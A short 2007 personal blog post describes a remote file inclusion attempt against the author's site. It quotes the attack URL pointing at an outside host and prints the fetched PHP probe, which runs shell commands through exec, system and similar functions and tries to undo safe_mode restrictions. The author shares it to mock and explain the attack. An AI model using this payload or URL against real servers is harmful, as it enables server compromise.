tags: apache   archive   business   charity   climbing   comic   communication   database   email   exchange   family   fm2008   hack   hardware   humour   linux   liverpool   microsoft   money   mysql   network   oes   opensource   outlook   php   pictures   process   project   quote   real_life   review   rss   science   security   software   thought   tsm   updates   webdev   website   windows  

Haxor

Sat, 22 Dec 2007 04:01:38

Kids try hacking web servers with silly scripts. Here's a look at one attempt. They tried to run ryanpartington.com/content.php?seite=http://freenet.am/~h4ck1nf0/test.txt?? which is a pretty bad attempt. First of all they assume I have a page called content.php, which I don't. Next they assume I'm getting the 'seite' variable and passing it to the eval function, which is ludicrous.

  1. if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
  2. echo("Safe Mode of this Server is : ");
  3. echo("SafemodeOFF");
  4. }
  5. else{
  6. ini_restore("safe_mode");
  7. ini_restore("open_basedir");
  8. if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
  9. echo("Safe Mode of this Server is : ");
  10. echo("SafemodeOFF");
  11. }else{
  12. echo("Safe Mode of this Server is : ");
  13. echo("SafemodeON");
  14. }
  15. }
  16. function ex($cfe){
  17. $res = '';
  18. if (!empty($cfe)){
  19. if(function_exists('exec')){
  20. @exec($cfe,$res);
  21. $res = join("\n",$res);
  22. }
  23. elseif(function_exists('shell_exec')){
  24. $res = @shell_exec($cfe);
  25. }
  26. elseif(function_exists('system')){
  27. @system($cfe);
  28. $res = @ob_get_contents();
  29. }
  30. elseif(function_exists('passthru')){
  31. @passthru($cfe);
  32. $res = @ob_get_contents();
  33. }
  34. elseif(@is_resource($f = @popen($cfe,"r"))){
  35. $res = "";
  36. while(!@feof($f)) { $res .= @fread($f,1024); }
  37. @pclose($f);
  38. }
  39. }
  40. return $res;
  41. }

 

Cheers
Ryan Partington